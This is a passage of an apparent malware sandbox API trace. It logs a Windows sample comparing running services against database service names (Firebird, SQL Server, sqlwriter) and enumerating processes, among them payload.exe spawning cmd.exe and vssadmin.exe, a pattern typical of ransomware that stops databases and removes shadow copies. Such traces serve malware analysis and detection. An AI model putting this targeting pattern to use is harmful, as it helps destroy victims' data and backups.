(lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0139.749] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0139.749] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0139.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0139.749] lstrlenW (lpString="SysMain") returned 7 [0139.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0139.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0139.750] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0139.750] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0139.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0139.750] lstrlenW (lpString="SystemEventsBroker") returned 18 [0139.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0139.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0139.750] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0139.750] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0139.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0139.750] lstrlenW (lpString="Themes") returned 6 [0139.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0139.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0139.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0139.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0139.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0139.752] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0139.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0139.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0139.752] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0139.752] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0139.753] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448dfd8 | out: hHeap=0x510000) returned 1 [0139.753] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c0 [0139.756] Process32FirstW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.757] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0139.758] lstrlenW (lpString="System") returned 6 [0139.758] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0139.759] lstrlenW (lpString="smss.exe") returned 8 [0139.759] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0139.760] lstrlenW (lpString="csrss.exe") returned 9 [0139.760] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0139.760] lstrlenW (lpString="wininit.exe") returned 11 [0139.761] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0139.761] lstrlenW (lpString="csrss.exe") returned 9 [0139.761] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0139.762] lstrlenW (lpString="winlogon.exe") returned 12 [0139.762] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0139.763] lstrlenW (lpString="services.exe") returned 12 [0139.763] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0139.764] lstrlenW (lpString="lsass.exe") returned 9 [0139.764] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.764] lstrlenW (lpString="svchost.exe") returned 11 [0139.764] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0139.765] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0139.765] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0139.766] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0139.766] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.767] lstrlenW (lpString="svchost.exe") returned 11 [0139.767] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0139.768] lstrlenW (lpString="dwm.exe") returned 7 [0139.768] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.769] lstrlenW (lpString="svchost.exe") returned 11 [0139.769] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.770] lstrlenW (lpString="svchost.exe") returned 11 [0139.770] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.770] lstrlenW (lpString="svchost.exe") returned 11 [0139.770] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.771] lstrlenW (lpString="svchost.exe") returned 11 [0139.771] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.772] lstrlenW (lpString="svchost.exe") returned 11 [0139.772] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.773] lstrlenW (lpString="svchost.exe") returned 11 [0139.773] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.774] lstrlenW (lpString="svchost.exe") returned 11 [0139.774] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.774] lstrlenW (lpString="svchost.exe") returned 11 [0139.774] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.775] lstrlenW (lpString="svchost.exe") returned 11 [0139.775] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.776] lstrlenW (lpString="svchost.exe") returned 11 [0139.776] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0139.777] lstrlenW (lpString="spoolsv.exe") returned 11 [0139.777] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.778] lstrlenW (lpString="svchost.exe") returned 11 [0139.778] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0139.779] lstrlenW (lpString="audiodg.exe") returned 11 [0139.779] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0139.780] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0139.780] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0139.781] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0139.781] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0139.782] lstrlenW (lpString="Memory Compression") returned 18 [0139.782] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0139.782] lstrlenW (lpString="sihost.exe") returned 10 [0139.782] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.979] lstrlenW (lpString="svchost.exe") returned 11 [0139.979] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0139.980] lstrlenW (lpString="taskhostw.exe") returned 13 [0139.980] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0139.981] lstrlenW (lpString="msoia.exe") returned 9 [0139.981] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0139.982] lstrlenW (lpString="explorer.exe") returned 12 [0139.982] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0139.983] lstrlenW (lpString="SearchUI.exe") returned 12 [0139.983] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0139.986] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0139.986] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0139.987] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0139.987] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0139.988] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0139.988] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0139.989] lstrlenW (lpString="payload.exe") returned 11 [0139.989] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0139.989] lstrlenW (lpString="cmd.exe") returned 7 [0139.990] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0139.990] lstrlenW (lpString="conhost.exe") returned 11 [0139.990] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0139.991] lstrlenW (lpString="vssadmin.exe") returned 12 [0139.991] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1a0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0139.992] lstrlenW (lpString="consent.exe") returned 11 [0139.992] Process32NextW (in: hSnapshot=0x4c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1a0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0139.993] CloseHandle (hObject=0x4c0) returned 1 [0139.993] Sleep (dwMilliseconds=0x1f4) [0140.731] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443dea0 [0140.732] EnumServicesStatusExW (in: hSCManager=0x443dea0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0140.732] GetLastError () returned 0xea [0140.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x44e40c0 [0140.830] EnumServicesStatusExW (in: hSCManager=0x443dea0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44e40c0, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44e40c0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0140.830] CloseServiceHandle (hSCObject=0x443dea0) returned 1 [0140.831] lstrlenW (lpString="Appinfo") returned 7 [0140.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0140.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0140.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0140.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0140.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0140.831] lstrlenW (lpString="AppXSvc") returned 7 [0140.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0140.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0140.831] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0140.831] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0140.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0140.832] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0140.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0140.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0140.832] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0140.832] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0140.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0140.832] lstrlenW (lpString="Audiosrv") returned 8 [0140.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0140.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0140.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0140.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0140.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0140.832] lstrlenW (lpString="BFE") returned 3 [0140.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0140.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0140.832] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0140.832] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0140.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0140.832] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0140.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0140.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0140.832] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0140.833] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0140.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0140.833] lstrlenW (lpString="CDPSvc") returned 6 [0140.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0140.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0140.833] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0140.833] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0140.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0140.833] lstrlenW (lpString="ClickToRunSvc") returned 13 [0140.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0140.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0140.833] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0140.833] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0140.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0140.833] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0140.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0140.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0140.833] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0140.833] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0140.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0140.833] lstrlenW (lpString="CryptSvc") returned 8 [0140.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0140.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0140.833] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0140.833] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0140.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0140.833] lstrlenW (lpString="DcomLaunch") returned 10 [0140.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0140.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0140.834] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0140.834] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0140.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0140.834] lstrlenW (lpString="DeviceAssociationService") returned 24 [0140.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0140.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0140.834] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0140.834] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0140.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0140.834] lstrlenW (lpString="Dhcp") returned 4 [0140.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0140.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0140.834] 